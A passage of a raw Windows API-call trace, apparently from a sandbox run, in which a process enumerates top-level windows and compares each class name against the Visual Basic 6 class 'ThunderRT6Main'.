(lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.874] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0094.874] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0094.874] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0094.874] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0094.874] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.874] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.874] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0094.874] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0094.874] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0094.874] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0094.875] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.875] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.875] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0094.875] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0094.875] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0094.875] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0094.875] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.875] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.875] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0094.875] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0094.875] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0094.875] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0094.875] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.875] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.875] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0094.875] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0094.875] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0094.875] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0094.875] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.875] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.876] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0094.876] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0094.876] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0094.876] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0094.876] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.876] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.876] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0094.876] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0094.876] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0094.876] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0094.876] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.876] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.876] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0094.876] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0094.876] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0094.876] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0094.876] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.876] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.876] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0094.876] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0094.877] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0094.877] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0094.877] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.877] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.877] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0094.877] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0094.877] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0094.877] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0094.877] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.877] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.877] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0094.877] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0094.877] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0094.877] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0094.877] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.877] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.877] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0094.877] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0094.877] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0094.877] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0094.878] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.878] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.878] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0094.878] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0094.878] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0094.878] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0094.878] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.878] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.878] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0094.878] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0094.878] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0094.878] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0094.878] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.878] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.878] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0094.878] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0094.878] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0094.878] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0094.878] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.878] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.879] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0094.879] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0094.879] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0094.879] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0094.879] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.879] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.879] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0094.879] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0094.879] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0094.879] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0094.879] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.879] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.879] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0094.879] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0094.879] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0094.879] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0094.879] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0094.879] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0094.879] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0094.879] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0094.880] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0094.880] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0094.880] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0094.880] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0094.880] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0094.880] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0094.880] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0094.880] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0094.880] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.880] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.880] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0094.880] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0094.880] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0094.880] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0094.881] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.881] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.881] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0094.881] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0094.881] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0094.881] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0094.881] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.881] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.881] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0094.881] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0094.881] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0094.881] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0094.881] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0094.881] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0094.881] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0094.881] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.881] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.881] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0094.881] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0094.881] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0094.881] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0094.882] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.882] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.882] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0094.882] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0094.882] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0094.882] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0094.882] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.882] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.882] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0094.882] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0094.882] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0094.882] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0094.882] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0094.882] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0094.882] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0094.882] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0094.882] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0094.882] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0094.882] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0094.882] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0094.883] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0094.883] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0094.883] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0094.883] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0094.883] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0094.883] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0094.883] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0094.883] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0094.883] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0094.883] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0094.883] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0094.883] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0094.883] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0094.883] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0094.883] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0094.883] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0094.883] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0094.883] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0094.883] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0094.883] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.883] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.884] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0094.884] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0094.884] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0094.884] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0094.884] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0094.884] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0094.884] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0094.884] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.884] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.884] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0094.884] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0094.884] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0094.884] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0094.884] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0094.884] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0094.884] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0094.884] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0094.884] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0094.884] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0094.884] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.884] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.885] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0094.885] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0094.885] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0094.885] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0094.885] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0094.885] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0094.885] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0094.885] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0094.885] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0094.885] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0094.885] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0094.885] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0094.885] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0094.885] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7da02d0 [0094.885] IMalloc:Free (This=0x7fefecb5380, pv=0x7da02d0) [0097.799] GetAsyncKeyState (vKey=27) returned 0 [0097.799] GetCurrentThreadId () returned 0xbdc [0097.799] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0097.799] GetDesktopWindow () returned 0x10010 [0097.799] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0097.799] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.799] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.800] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0097.800] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.800] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.800] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0097.800] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.800] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.800] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0097.800] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0097.800] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0097.800] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0097.800] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.800] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.800] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0097.800] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0097.800] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0097.800] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0097.800] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.800] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.801] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0097.801] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.801] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.801] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0097.801] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.801] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.801] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0097.801] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.801] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.801] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0097.801] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.801] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.801] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0097.801] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.801] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.801] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0097.801] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.801] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.802] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0097.802] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0097.802] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0097.802] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0097.802] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.802] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.802] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0097.802] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0097.802] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0097.802] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0097.802] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0097.802] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0097.802] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0097.802] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.802] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.802] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0097.802] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0097.802] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0097.803] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0097.803] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0097.803] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0097.803] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0097.803] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18d5b0, 